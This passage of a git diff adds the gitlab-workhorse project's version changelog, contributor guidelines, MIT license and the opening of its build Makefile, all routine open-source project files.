+ https://gitlab.com/gitlab-org/gitlab-workhorse/-/merge_requests/618
+
+### Other
+- Add image scaler duration histogram
+ https://gitlab.com/gitlab-org/gitlab-workhorse/-/merge_requests/614
+- Pass CORRELATION_ID env variable to resize image subprocesses
+ https://gitlab.com/gitlab-org/gitlab-workhorse/-/merge_requests/612
+- Simplify s3 session management code
+ https://gitlab.com/gitlab-org/gitlab-workhorse/-/merge_requests/616
+- Bump labkit dependency to get mutex profiling
+ https://gitlab.com/gitlab-org/gitlab-workhorse/-/merge_requests/
+
+## v8.48.0
+
+### Changed
+- Switch image scaler to a Go-only solution
+ https://gitlab.com/gitlab-org/gitlab-workhorse/-/merge_requests/603
+
+### Other
+- Push uploader control flow into objectstore package
+ https://gitlab.com/gitlab-org/gitlab-workhorse/-/merge_requests/608
+
+## v8.47.0
+
+### Added
+- Add logging for local LSIF ZIP caching
+ https://gitlab.com/gitlab-org/gitlab-workhorse/-/merge_requests/579
+- Add project level route for Generic Packages uploads
+ https://gitlab.com/gitlab-org/gitlab-workhorse/-/merge_requests/596
+
+### Changed
+- Further simplify remote/local upload code
+ https://gitlab.com/gitlab-org/gitlab-workhorse/-/merge_requests/602
+- Experimental: Use strict content checks when resizing images
+ https://gitlab.com/gitlab-org/gitlab-workhorse/-/merge_requests/564
+
+### Fixed
+- Increase LSIF scanner buffer
+ https://gitlab.com/gitlab-org/gitlab-workhorse/-/merge_requests/609
+- Fix correlation IDs not being propagated in preauth check
+ https://gitlab.com/gitlab-org/gitlab-workhorse/-/merge_requests/607
+
+### Other
+- Reflect the actual duration of bootstrapping GitLab
+ https://gitlab.com/gitlab-org/gitlab-workhorse/-/merge_requests/605
+ Contributed by Takuya Noguchi
+
+## v8.46.0
+
+### Added
+- Support Azure custom storage domains
+ https://gitlab.com/gitlab-org/gitlab-workhorse/-/merge_requests/593
+
+## v8.45.0
+
+### Added
+- Reject upload when filesize exceeds MaximumSize returned by authorize endpoint
+ https://gitlab.com/gitlab-org/gitlab-workhorse/-/merge_requests/
+
+### Other
+- Eliminate unnecessary code in GoCloud test stubs
+ https://gitlab.com/gitlab-org/gitlab-workhorse/-/merge_requests/590
+- Drop tests that check for log messages
+ https://gitlab.com/gitlab-org/gitlab-workhorse/-/merge_requests/591
+
+## v8.44.0
+
+### Fixed
+- Fix objectstore.uploader.uploadError race
+ https://gitlab.com/gitlab-org/gitlab-workhorse/-/merge_requests/583
+- Silence errors when Azure objects have aleady been deleted
+ https://gitlab.com/gitlab-org/gitlab-workhorse/-/merge_requests/585
+- Fix race condition in httprs test
+ https://gitlab.com/gitlab-org/gitlab-workhorse/-/merge_requests/584
+
+### Performance
+- Remove an in-memory buffer for LSIF transformation
+ https://gitlab.com/gitlab-org/gitlab-workhorse/-/merge_requests/586
+
+## v8.43.0
+
+### Changed
+- Remove ProcessReferences flag
+ https://gitlab.com/gitlab-org/gitlab-workhorse/-/merge_requests/543
+
+### Fixed
+- Fix nil pointer exception when no object storage config is defined
+ https://gitlab.com/gitlab-org/gitlab-workhorse/-/merge_requests/565
+
+## v8.42.0
+
+### Added
+- Resize images on-demand with `gm convert`
+ https://gitlab.com/gitlab-org/gitlab-workhorse/-/merge_requests/546
+
+## v8.41.0
+
+### Added
+- Add Azure blob store support
+ https://gitlab.com/gitlab-org/gitlab-workhorse/-/merge_requests/555
+
+## v8.40.0
+
+### Added
+- Add project level route for conan package uploads
+ https://gitlab.com/gitlab-org/gitlab-workhorse/-/merge_requests/558
+
+### Other
+- Refactor uploaders to use different upload strategies
+ https://gitlab.com/gitlab-org/gitlab-workhorse/-/merge_requests/553
+
+## v8.39.0
+
+### Fixed
+- Fix HTTP Range Requests not working on some S3 providers
+ https://gitlab.com/gitlab-org/gitlab-workhorse/-/merge_requests/549
+
+### Other
+- Vendor httprs module
+ https://gitlab.com/gitlab-org/gitlab-workhorse/-/merge_requests/550
+
+### Performance
+- Cache references in file
+ https://gitlab.com/gitlab-org/gitlab-workhorse/-/merge_requests/544
+
+## v8.38.0
+
+### Added
+- Added configuration option PropagateCorrelationID
+ https://gitlab.com/gitlab-org/gitlab-workhorse/-/merge_requests/529
+ Contributed by Mahmoud Rahbar Azad
+- Add support for AWS S3 Server Side Encryption (SSE-KMS)
+ https://gitlab.com/gitlab-org/gitlab-workhorse/-/merge_requests/537
+
+### Changed
+- Drop Go v1.12 support
+ https://gitlab.com/gitlab-org/gitlab-workhorse/-/merge_requests/532
+
+## v8.37.0
+
+- No changes.
+## v8.36.0
+
+- No changes.
+## v8.35.0
+
+### Fixed
+- Fix Content-Length set prior to SendUrl injection
+ https://gitlab.com/gitlab-org/gitlab-workhorse/-/merge_requests/496
+ Contributed by Georges-Etienne Legendre
+
+## v8.34.0
+
+### Added
+- Support Workhorse directly uploading files to S3
+ https://gitlab.com/gitlab-org/gitlab-workhorse/-/merge_requests/466
+
+### Fixed
+- Disable compression for open archive
+ https://gitlab.com/gitlab-org/gitlab-workhorse/-/merge_requests/508
+ Contributed by Georges-Etienne Legendre
+
+### Other
+- Add configuration to support an S3 client inside Workhorse
+ https://gitlab.com/gitlab-org/gitlab-workhorse/-/merge_requests/516
+- Refactor Preparer and SaveFileOpts handling
+ https://gitlab.com/gitlab-org/gitlab-workhorse/-/merge_requests/515
+
+## v8.33.0
+
+### Added
+- Add routes for Group import via the UI
+ https://gitlab.com/gitlab-org/gitlab-workhorse/-/merge_requests/493
+
+### Fixed
+- Gather gitlab-zip-cat/metadata stderr and log output in the current context
+ https://gitlab.com/gitlab-org/gitlab-workhorse/-/merge_requests/498
+ Contributed by Georges-Etienne Legendre
+
+## v8.32.1
+
+### Security
+- Limit memory footprint of a command that generates ZIP artifacts metadata
+ https://gitlab.com/gitlab-org/gitlab-workhorse/-/merge_requests/
+
+## v8.32.0
+
+### Added
+- Process LSIF document before sending it to GitLab
+ https://gitlab.com/gitlab-org/gitlab-workhorse/-/merge_requests/492
+- Delay PostUploadPack response until request is fully read
+ https://gitlab.com/gitlab-org/gitlab-workhorse/-/merge_requests/494
+
+## v8.31.1
+
+### Security
+- Limit memory footprint of a command that generates ZIP artifacts metadata
+ https://gitlab.com/gitlab-org/gitlab-workhorse/-/merge_requests/
+
+## v8.31.0
+
+### Added
+- Add a signed field on upload requests containing all the workhorse parameters
+ https://gitlab.com/gitlab-org/gitlab-workhorse/-/merge_requests/490
+
+### Other
+- Add automatic changelog generation
+ https://gitlab.com/gitlab-org/gitlab-workhorse/-/merge_requests/484
+
+## v8.30.2
+
+### Security
+- Limit memory footprint of a command that generates ZIP artifacts metadata
+ https://gitlab.com/gitlab-org/gitlab-workhorse/-/merge_requests/
+
+v 8.30.1
+
+- Sign artifact multipart fields in Workhorse
+
+v 8.30.0
+
+- Proxy ActionCable websocket connection !454
+
+v 8.29.0
+
+- Bump Labkit version to support Profiler sample versioning !479
+
+v 8.28.0
+
+- Reject parameters that override upload fields
+- PyPi - Object storage upload route for package files !474
+
+v 8.27.0
+
+- Remove Set-Cookie header from archive and raw blob responses !475
+
+v 8.26.0
+
+- Add route for project imports direct upload via UI !470
+
+## v8.25.3
+
+### Security
+- Limit memory footprint of a command that generates ZIP artifacts metadata
+ https://gitlab.com/gitlab-org/gitlab-workhorse/-/merge_requests/
+
+### Other
+- Add automatic changelog generation
+ https://gitlab.com/gitlab-org/gitlab-workhorse/-/merge_requests/484
+
+v 8.25.2
+
+- Sign artifact multipart fields in Workhorse
+
+v 8.25.1
+
+- Reject parameters that override upload fields
+
+v 8.25.0
+
+- Add route for project imports direct upload !459
+
+v 8.24.0
+
+- Support Stackdriver Profiler through Labkit !461
+
+v 8.23.0
+
+- Don't set Cache-Control header for git archives !462
+
+v 8.22.0
+
+- Bump the version of golang.org/x/sys !456
+- Add friendly development error page for 502 !453
+
+v 8.21.2
+
+- Sign artifact multipart fields in Workhorse
+
+v 8.21.1
+
+- Reject parameters that override upload fields
+
+v 8.21.0
+
+- Add route for group imports direct upload !455
+
+v 8.20.2
+
+- Sign artifact multipart fields in Workhorse
+
+v 8.20.1
+
+- Reject parameters that override upload fields
+
+v 8.20.0
+
+- Sign file upload requests modified by workhorse
+
+v 8.19.0
+
+- Use multipart uploads for nuget packages !451
+
+v 8.18.0
+
+- Allow inline content disposition for pdf files !446
+- Update environment websocket route !449
+
+v 8.17.0
+
+- Add labkit monitoring for build metrics !440
+- Log duration_ms when Workhorse hits a bad gateway !445
+
+v 8.16.0
+
+- Ignore CompleteMultipartUpload ETag !438
+- Add NuGet route for package uploads !441
+- Upgrade Gitaly client to v1.74.0 !443
+- Set a time limit on git upload-pack requests
+
+v 8.15.0
+
+- Object store case insensitive ETag comparison !434
+- Upgrade gitaly to 1.68.0 !435
+
+v 8.14.1
+
+- Set a time limit on git upload-pack requests
+
+v 8.14.0
+
+- Keep HTTP 1.0 cache headers from sendurl proxies !431
+
+v 8.13.0
+
+- Preserve original HTTP cache headers when proxying with sendurl !428
+
+v8.12.0
+
+- Fix health checks routes incorrectly intercepting errors !424
+- Simplify badgateway RoundTripper !425
+
+v8.11.0
+
+- Accelerate GraphQL uploads !403
+- Add route for handling Conan package uploads !412
+- Accelerate wiki attachments !422
+
+v8.10.1
+
+- Set a time limit on git upload-pack requests
+
+v8.10.0
+
+- Use accelerated uploads for users/personal snippets
+- Fix typo in keywatcher prometheus metrics !420
+
+v8.9.0
+
+- Update Gitaly library code to v1.57.0 !407
+- Replace govendor with go mod !411
+- Support gzip compression for Git info/refs !404
+- Add prometheus counter for Gitaly connection stubs !414
+- Support passing on Gitaly feature flags !410
+
+v8.8.1
+
+- Use accelerated uploads for users/personal snippets
+
+v8.8.0
+
+- Filter title, description, text, and body from logs !402
+- Remove redirections from Terminal to Channel !397
+- Add option to set Sentry environment !396
+
+v8.7.1
+
+- Use accelerated uploads for users/personal snippets
+
+v8.7.0
+
+- Don't log http.ErrAbortHandler panics in sentry !392
+
+v8.6.0
+
+- Add new endpoint to add support to proxy websocket requests to build's services !370
+
+v8.5.2
+
+- Don't log http.ErrAbortHandler panics in sentry !392
+
+v8.5.1
+
+- Remove duplicate X-Request-Id response header !384
+
+v8.5.0
+
+- Replace terminal terminology to channel !382
+
+v8.4.0
+
+- Adds X-Request-Id response header for Workhorse !363
+- Change content type detection header size to 4k !366
+- Allow unknown fields in jsonpb gitaly-proto messages !367
+- Filter `sharedSecret` param from Jira !369
+- Get git-archive with GetArchiveRequest !375
+
+v8.3.3
+
+- Preserve orientation when removing EXIF
+
+v8.3.2
+
+- Remove EXIF from JPEG/TIFF images
+
+v 8.3.1
+
+- Update gitaly-proto to 1.10.0 !363
+
+v 8.3.0
+
+- Count ^/-/ requests separately in prometheus !355
+- Statically link jaeger into Workhorse by default !359
+- Support encoded Content-Disposition fields !360
+
+v 8.2.0
+
+- Sign LFS upload requests that have been handled by workhorse
+- Fixed svg recognition to get the proper content type !353
+
+v 8.1.1
+
+- Sign LFS upload requests that have been handled by workhorse
+
+v 8.1.0
+
+- Upgrade the gitaly client to v1.13.0 (includes TLS support) !351
+- Update gitaly-proto to 0.124.0 !331
+- Add distributed tracing with LabKit !325
+
+v 8.0.4
+
+- Preserve orientation when removing EXIF
+
+v 8.0.3
+
+- Remove EXIF from JPEG/TIFF images
+
+v 8.0.2
+
+- Fixed svg recognition to get the proper content type !353
+
+v 8.0.1
+
+- Sign LFS upload requests that have been handled by workhorse
+
+v 8.0.0
+
+- Remove local git archive support !304
+- Remove local git diff handling !345
+- Remove local git format-patch handling !346
+- Remove RepoPath from the API response
+
+v 7.6.1
+
+- Sign LFS upload requests that have been handled by workhorse
+
+v 7.6.0
+
+- Rename correlation-id structured logging field to correlation_id !343
+- Remove local git receive-pack implementation !326
+- Remove curl from sendfile_test.go !344
+- Update README.md usage example !342
+
+v 7.5.1
+
+- Rename correlation-id structured logging field to correlation_id !343
+
+v 7.5.0
+
+- Add proxy layer to calculate content type and disposition headers !335
+
+v 7.4.0
+
+- Strip port and include remote IP in access logs !337
+
+v 7.3.0
+
+- Redact sensitive url params as in Rails
+
+v 7.2.1
+
+- Extract correlation code out to the LabKit project !323
+- Log X-Forwarded-For IPs when UNIX domain sockets are in use !324
+
+v 7.2.0
+
+- Update CI matrix to go1.10 + go1.11 and fix ResponseWriter bugs !309
+- Add support for Redis URLs (redis:// and rediss://) in Workhorse !321
+
+v 7.1.4
+
+- Sign LFS upload requests that have been handled by workhorse
+
+v 7.1.3
+
+- Redact sensitive url params as in Rails
+
+v 7.1.1
+
+Bad release, use 7.2.0 instead.
+
+v 7.1.0
+
+- Add structured logFormat for text based logging !275
+- Run make fmt on master !306
+- Allow to configure `BUILD_DIR` and `TARGET_DIR` !308
+- Resolve "Rework test suite to allow dead code to be removed" !307
+- Update Prometheus vendoring !305
+- General vendoring cleanup !310
+- Remove Go 1.8 support !314
+- Remove unused 'body' argument !315
+- Refactor badgateway to use standardlib interfaces !316
+- Pass Correlation-Ids down to backend systems !311
+- Don't fail if /home/git/repositories already exists in Gitaly container !317
+
+v 7.0.1
+
+- Redact sensitive url params as in Rails
+
+v 7.0.0
+
+- Use the new Gitaly auth scheme (v2) !298
+
+v 6.1.2
+
+- Redact sensitive url params as in Rails
+
+v 6.1.1
+
+- Allow custom error messages to pass through to Rails !300
+
+v 6.1.0
+
+- Support adding PUT headers for object storage from Rails !297
+
+v 6.0.0
+
+- Accelerate Maven artifact repository uploads !283
+
+v 5.2.0
+
+- Populate Git Protocol !276
+- Add support for GitConfigOptions required for git-receive-pack command !281
+
+
+v 5.1.0
+
+- Log using correlation-id bound to the incoming request !258
+- Prevent uploading two files as artifacts in single request !273
+- Prometheus instrumentation !279
+
+v 5.0.0
+
+- Update httprs for broken range implementations !266
+- Direct Upload for User Uploads !265
+
+v 4.3.1
+
+- Objectstorage ETag checking !263
+
+v 4.3.0
+
+- Multipart upload support !257
+- Make external commands extend the environment !261
+
+v 4.2.1
+
+- Fix objectstore error shadowing !259
+
+v 4.2.0
+
+- Guess RemoteAddr from X-Forwarded-For !254
+
+v 4.1.0
+
+- Add websocket route for web terminal access to CI jobs !234
+- Remove RepoPath check on Git HTTP !244
+- Artifacts and Uploads must allow Objects Storage only requests !247
+- Bridge between Gitaly and GitLab for a new repository snapshot endpoint !248
+- Update gitaly proto !249
+
+v 4.0.0
+
+- Handle Object Store upload in upload.HandleFileUploads !238
+- More consistent API naming. ObjectStore -> RemoteObject !240
+
+v3.8.0
+
+- Add structured logging !236
+
+v3.7.0
+
+- Add option to send file uploads straight to object storage !227
+- Allow sending Git archives with file names other than 'archive' !232
+- Unify uploads handling under filestore package !230
+
+v3.6.0
+
+- Introduce a `send-url:` method that allows to serve remote HTTP/GET file, like S3-based file !228
+
+v3.5.1
+
+- Use grpc-go 1.9.1 (!225)
+- Update gitaly stream and dial library functions (!224)
+
+v3.5.0
+
+- Add option to disable Git archive caching !222
+
+v3.4.0
+
+- Track Gitaly Connections in Prometheus !211
+- Run test suite on Go 1.9 !213
+- Remove repo disk check !218
+
+v3.3.1
+
+- Fix "net/http: request canceled" errors in gitlab-zip-cat !208
+
+v3.3.0
+
+- Ban context.Background !201
+- Respect the ShowAllRefs flag in git upload-pack and info-refs !203
+- Upgrade grpc to v1.7.1, protobuf to latest !207
+
+v3.2.0
+
+- Implement Gitaly call for archive requests !199
+- Re-use client.Dial from gitaly !194
+- Respect GL_USERNAME !192
+- Update BurntSushi/toml !195
+- Add Redis error counters !197
+- Migrate Send{Diff,Patch} to Gitaly !200
+
+v3.1.0
+
+- Add histograms to routes !184
+- Gitaly deprecations and replacements !186, !187, !189
+- Enable CI long polling by default !188
+- Refactor Git archive creation !190
+
+v3.0.0
+
+- Use GetBlob RPC instead of TreeEntry RPC for serving blobs !182
+
+v2.3.0
+- Improve gitaly info refs error message !172
+- Migrate GetBlob to Gitaly !174
+- Drop support for Go <1.8 !176
+- Add some tests for gzipped assets !177
+- Use reader/writer from gitaly streamio !178
+- Use http.Request contexts for Gitaly calls !179
+- Allow to access remote archive !180
+
+v2.2.0
+- Add support for token authentication on Gitaly requests
+- Update gitaly-proto library to 0.9.0
+
+v2.1.1
+- Bug fix and counters for static error pages
+
+v2.1.0
+- Remove chatty ErrorPage log message
+- Filter query-string secrets out of logged URLs
+- Suggest better default for prometheus port
+- Add internal upload to external storage
+- Prometheus metrics for senddata and git archive cache
+
+v2.0.1
+- Support GL_REPOSITORY from API and pass it to Gitaly on ReceivePack
+
+v2.0.0
+
+- Fix gRPC stream resource leak !158, !160
+- Don't append error messages to Git HTTP responses !157
+- Drop support for old Gitaly fields in Git API response !152
+
+v1.4.3
+
+- Support forwarding Git HTTP POST data to Gitaly !143
+- Pass more Gitaly 'Repository' fields on from gitlab-rails !147
+- Support insecure TCP connections to Gitaly !150
+
+v1.4.2
+
+- Return 500 from GET /info/refs if possible !145
+
+v1.4.1
+
+- Fix several Redis integration bugs !137, !140
+- Fix race conditions in Redis tests !136
+- Don't follow HTTP redirects on internal API !134
+- Support /api/v4 for CI !133
+- Don't spam logs with CI queueing messages (Marcin Biegała) !127
+
+v1.4.0
+
+- Integrate with Gitaly via gRPC !119
+- Buffer git receive-pack responses in tempfiles !123
+- Use stdlib to copy stdin/stdout of git subprocesses !118
+- Terminal session timeouts !107
+- Redis integration EXPERIMENTAL !112
+- CI notifications via Redis EXPERIMENTAL !128
+- More CI queue metrics !122
+
+v1.3.0
+
+- Fix stalled HTTP fetches with large payloads. !110
+- Correctly parse content types in HTTP requests and responses !114
+- Catch _all_ multipart NextPart() errors. !108
+- Replace 'gitlab_workhorse_artifacts_upload_*' with labeled version of
+ 'gitlab_workhorse_multipart_upload_*'. !106
+- Allow GET /info/refs to be proxied to Gitaly. !105
+- Set correct value of X-Forwarded-For header in PreAuthorize request. !104
+- Allow nested namespaces in git URLs. !80
+
+v1.2.1
+
+- More Prometheus metrics
+- Hide 502 internal errors from text-mode clients
+- Buffer internal API responses up to a 32kB hard limit
+
+v1.2.0
+
+- Add terminal websocket proxy endpoint
+- Rewrite all incoming multipart requests: write 'file' parts to tempfiles
+
+v1.1.1
+
+- Restrict effect of API rate limiting to /ci/api/v1/builds/register.json
+
+v1.1.0
+
+- Prometheus metrics listener via `-prometheusListenAddr` option
+- Tell NGINX to not buffer Git HTTP responses etc. with X-Accel-Buffering
+- Fix double content type bug on archive downloads
+
+v1.0.0
+
+- Workhorse is now v1.0.0, according to Semantic Versioning. No breaking
+ changes were made.
+- Add support for logging to file, and logfile rotation with SIGHUP.
+- Improve error messages.
+
+v0.8.5
+
+Simplify revspec for 'git format-patch'.
+
+v0.8.4
+
+Fix Go 1.5 compatibility broken in 0.8.3. Update CI configuration so
+that tests run on Go 1.5, 1.6 and 1.7 (was only 1.6 before).
+
+v0.8.3
+
+Add rate-limiting feature for /api requests (disabled by default).
+Suppress non-zero exit code error from git-upload-pack during shallow
+Git clone (only affects logging and Sentry). Don't treat EEXIST as an
+error during git archive finalization.
+
+v0.8.2
+
+Recognize more archive formats in git.SendArchive. Make 502 errors
+(failed proxy requests to Unicorn) easier to recognize in Sentry.
+
+v0.8.1
+
+Add Sentry (raven-go) for remote error tracking.
+
+v0.8.0
+
+Add JWT signed communication between gitlab-workhorse and gitlab-rails.
+
+v0.7.11
+
+Fix 'nil dereference' crash on Go 1.7 when parsing authBackend
+parameter. Fix 'hard-wire backend host' crashes.
+
+v0.7.10
+
+Fix typo in metrics header name.
+
+v0.7.9
+
+Hard-wire backend host when using TCP.
+
+v0.7.8
+
+Send artifact zip file entries via the 'senddata' mechanism.
+
+v0.7.7
+
+Add the protocol used (HTTP) to each gitCommand call in order to check
+for restricted protocol access on GitLab's side.
+
+v0.7.6
+
+Add the capability to inject `git format-patch` output.
+
+v0.7.5
+
+Add the capability to inject `git diff` output as HTTP response bodies
+(@zj).
+
+v0.7.4
+
+Pass a timestamp when forwarding requests to Rails. Hopefully this
+will give us insight into Unicorn queueing behavior.
+
+v0.7.3
+
+Revert 'buffer Git HTTP responses'. Set default listen socket
+permissions to world read/writeable.
+
+v0.7.2 DO NOT USE
+
+Integrate with GOPATH during development (remove relative imports
+etc.). Buffer Git HTTP responses so that we may return an error if the
+local command fails early.
+
+Update: the 'buffer Git HTTP responses' change in 0.7.2 is BAD, it
+breaks shallow Git clone. Don't use 0.7.2!
+
+v0.7.1
+
+Set Content-Length (retrieved from Git) on raw blob data responses.
+
+v0.7.0
+
+Start using a 'v' prefix on the version string.
+
+0.6.5
+
+Inject 'git archive' data the same way as Git blob data.
+
+0.6.4
+
+Increase default ProxyHeadersTimeout to 5 minutes. Fix injecting raw
+blobs for /api/v3 requetsts.
+
+0.6.3
+
+Add support for sending Git raw git blobs via gitlab-workhorse.
+
+0.6.2
+
+We now fill in missing directory entries in archize zip metadata
+files; also some other minor changes.
+
+0.6.1
+
+Add support for generating zip artifacts metadata and serving single
+files from zip archives.
+
+Gitlab-workhorse now consists of multiple executables. We also fixed a
+routing bug introduced by the 0.6.0 refactor that broke relative URL
+support.
+
+0.6.0
+
+Overhauled the source code organization; no user-facing changes
+(intended). The application code is now split into Go 'packages'
+(modules). As of 0.6.0 gitlab-workhorse requires Go 1.5 or newer.
+
+0.5.4
+
+Fix /api/v3/projects routing bug introduced in 0.5.2-0.5.3.
+
+0.5.3
+
+Fixes merge error in 0.5.2.
+
+0.5.2 (broken!)
+
+- Always check with upstream if files in /uploads/ may be served
+- Fix project%2Fnamespace API project ID's
+- Prevent archive zombies when using gzip or bzip2
+- Don't show pretty error pages in development mode
+
+0.5.1
+
+Deprecate -relativeURLRoot option, use -authBackend instead.
+
+0.5.0
+
+Send ALL GitLab requests through gitlab-workhorse.
+
+0.4.2
+
+Return response to client when uploading Git LFS object.
+
+0.4.1
+
+Add support for Build Artifacts and Git LFS. The GitLab-Workhorse
+offloads file uploading and downloading by providing support for
+rewriting multipart form data and X-Sendfile.
+
+Other changes:
+- add header Gitlab-Workhorse to all requests to indicate from where
+ they originated
+
+0.4.0
+
+Rename the project to gitlab-workhorse. The old name had become too
+specific.
+
+Other changes:
+
+- pass LD_LIBRARY_PATH to Git commands
+- accomodate broken HTTP clients by spelling 'Www-Authenticate' as
+ 'WWW-Authenticate'
+
+0.3.1
+
+Add support for Unix domain socket connections to the authBackend.
+
+0.3.0
+
+In 0.3.0 we also handle 'git archive' downloads for GitLab 8.1+.
+This has lead to some breaking API changes, making 0.3.0 incompatible
+with GitLab 8.0. We now expect the 'auth backend' (GitLab) to
+provide us with much more information about each request, such as
+the path on disk to the Git repository the client is requesting.
+This makes the REPO_ROOT command line argument obsolete.
+
+0.2.14
+
+This is the last version that works with GitLab 8.0.
diff --git a/workhorse/CONTRIBUTING.md b/workhorse/CONTRIBUTING.md
new file mode 100644
index 00000000000..ef9785b9b6c
--- /dev/null
+++ b/workhorse/CONTRIBUTING.md
@@ -0,0 +1,46 @@
+## Contributing
+
+Thank you for your interest in contributing to this GitLab project! We welcome
+all contributions. By participating in this project, you agree to abide by the
+[code of conduct](#code-of-conduct).
+
+## Contributor license agreement
+
+By submitting code as an individual you agree to the [individual contributor
+license agreement][individual-agreement].
+
+By submitting code as an entity you agree to the [corporate contributor license
+agreement][corporate-agreement].
+
+## Code of conduct
+
+As contributors and maintainers of this project, we pledge to respect all people
+who contribute through reporting issues, posting feature requests, updating
+documentation, submitting pull requests or patches, and other activities.
+
+We are committed to making participation in this project a harassment-free
+experience for everyone, regardless of level of experience, gender, gender
+identity and expression, sexual orientation, disability, personal appearance,
+body size, race, ethnicity, age, or religion.
+
+Examples of unacceptable behavior by participants include the use of sexual
+language or imagery, derogatory comments or personal attacks, trolling, public
+or private harassment, insults, or other unprofessional conduct.
+
+Project maintainers have the right and responsibility to remove, edit, or reject
+comments, commits, code, wiki edits, issues, and other contributions that are
+not aligned to this Code of Conduct. Project maintainers who do not follow the
+Code of Conduct may be removed from the project team.
+
+This code of conduct applies both within project spaces and in public spaces
+when an individual is representing the project or its community.
+
+Instances of abusive, harassing, or otherwise unacceptable behavior can be
+reported by emailing contact@gitlab.com.
+
+This Code of Conduct is adapted from the [Contributor Covenant][contributor-covenant], version 1.1.0,
+available at [http://contributor-covenant.org/version/1/1/0/](http://contributor-covenant.org/version/1/1/0/).
+
+[contributor-covenant]: http://contributor-covenant.org
+[individual-agreement]: https://docs.gitlab.com/ee/legal/individual_contributor_license_agreement.html
+[corporate-agreement]: https://docs.gitlab.com/ee/legal/corporate_contributor_license_agreement.html
diff --git a/workhorse/LICENSE b/workhorse/LICENSE
new file mode 100644
index 00000000000..76a44f8bb70
--- /dev/null
+++ b/workhorse/LICENSE
@@ -0,0 +1,21 @@
+The MIT License (MIT)
+
+Copyright (c) 2015-2017 GitLab B.V.
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in
+all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+THE SOFTWARE.
diff --git a/workhorse/Makefile b/workhorse/Makefile
new file mode 100644
index 00000000000..7a8503512df
--- /dev/null
+++ b/workhorse/Makefile
@@ -0,0 +1,177 @@
+PREFIX=/usr/local
+PKG := gitlab.com/gitlab-org/gitlab-workhorse
+BUILD_DIR ?= $(CURDIR)
+TARGET_DIR ?= $(BUILD_DIR)/_build
+TARGET_SETUP := $(TARGET_DIR)/.ok
+BIN_BUILD_DIR := $(TARGET_DIR)/bin
+COVERAGE_DIR := $(TARGET_DIR)/cover
+VERSION_STRING := $(shell git describe)
+ifeq ($(strip $(VERSION_STRING)),)
+VERSION_STRING := v$(shell cat VERSION)
+endif
+BUILD_TIME := $(shell date -u +%Y%m%d.%H%M%S)
+GOBUILD := go build -ldflags "-X main.Version=$(VERSION_STRING) -X main.BuildTime=$(BUILD_TIME)"
+EXE_ALL := gitlab-resize-image gitlab-zip-cat gitlab-zip-metadata gitlab-workhorse
+INSTALL := install
+BUILD_TAGS := tracer_static tracer_static_jaeger continuous_profiler_stackdriver
+
+MINIMUM_SUPPORTED_GO_VERSION := 1.11
+
+export GOBIN := $(TARGET_DIR)/bin
+export PATH := $(GOBIN):$(PATH)
+export GOPROXY ?= https://proxy.golang.org
+export GO111MODULE=on
+
+LOCAL_GO_FILES = $(shell find . -type f -name '*.go' | grep -v -e /_ -e /testdata/ -e '^\./\.')
+
+define message
+ @echo "### $(1)"
+endef
+
+
+.NOTPARALLEL:
+
+.PHONY: all
+all: clean-build $(EXE_ALL)
+
+$(TARGET_SETUP):
+ $(call message,"Setting up target directory")
+ rm -rf "$(TARGET_DIR)"
+ mkdir -p "$(TARGET_DIR)"
+ touch "$(TARGET_SETUP)"
+
+gitlab-resize-image: $(TARGET_SETUP) $(shell find cmd/gitlab-resize-image/ -name '*.go')
+ $(call message,Building $@)
+ $(GOBUILD) -tags "$(BUILD_TAGS)" -o $(BUILD_DIR)/$@ $(PKG)/cmd/$@
+
+gitlab-zip-cat: $(TARGET_SETUP) $(shell find cmd/gitlab-zip-cat/ -name '*.go')
+ $(call message,Building $@)
+ $(GOBUILD) -tags "$(BUILD_TAGS)" -o $(BUILD_DIR)/$@ $(PKG)/cmd/$@
+
+gitlab-zip-metadata: $(TARGET_SETUP) $(shell find cmd/gitlab-zip-metadata/ -name '*.go')
+ $(call message,Building $@)
+ $(GOBUILD) -tags "$(BUILD_TAGS)" -o $(BUILD_DIR)/$@ $(PKG)/cmd/$@
+
+gitlab-workhorse: $(TARGET_SETUP) $(shell find . -name '*.go' | grep -v '^\./_')
+ $(call message,Building $@)
+ $(GOBUILD) -tags "$(BUILD_TAGS)" -o $(BUILD_DIR)/$@ $(PKG)
+
+.PHONY: install
+install: $(EXE_ALL)
+ $(call message,$@)
+ mkdir -p $(DESTDIR)$(PREFIX)/bin/
+ cd $(BUILD_DIR) && $(INSTALL) $(EXE_ALL) $(DESTDIR)$(PREFIX)/bin/
+
+.PHONY: test
+test: $(TARGET_SETUP) prepare-tests
+ $(call message,$@)
+ @go test -tags "$(BUILD_TAGS)" ./...
+ @echo SUCCESS
+
+.PHONY: coverage
+coverage: $(TARGET_SETUP) prepare-tests
+ $(call message,$@)
+ @go test -tags "$(BUILD_TAGS)" -cover -coverprofile=test.coverage ./...
+ go tool cover -html=test.coverage -o coverage.html
+ rm -f test.coverage
+
+.PHONY: clean
+clean: clean-workhorse clean-build
+ $(call message,$@)
+ rm -rf testdata/data testdata/scratch
+
+.PHONY: clean-workhorse
+clean-workhorse:
+ $(call message,$@)
+ rm -f $(EXE_ALL)
+
+.PHONY: check-version
+check-version:
+ @test -n "$(VERSION)" || (echo "VERSION not set." ; exit 1)
+
+.PHONY: tag
+tag: check-version
+ $(call message,$@)
+ sh _support/tag.sh "$(VERSION)"
+
+.PHONY: signed_tag
+signed_tag: check-version
+ $(call message,$@)
+ TAG_OPTS=-s sh _support/tag.sh "$(VERSION)"
+
+.PHONY: clean-build
+clean-build:
+ $(call message,$@)
+ rm -rf $(TARGET_DIR)
+
+.PHONY: prepare-tests
+prepare-tests: testdata/data/group/test.git $(EXE_ALL)
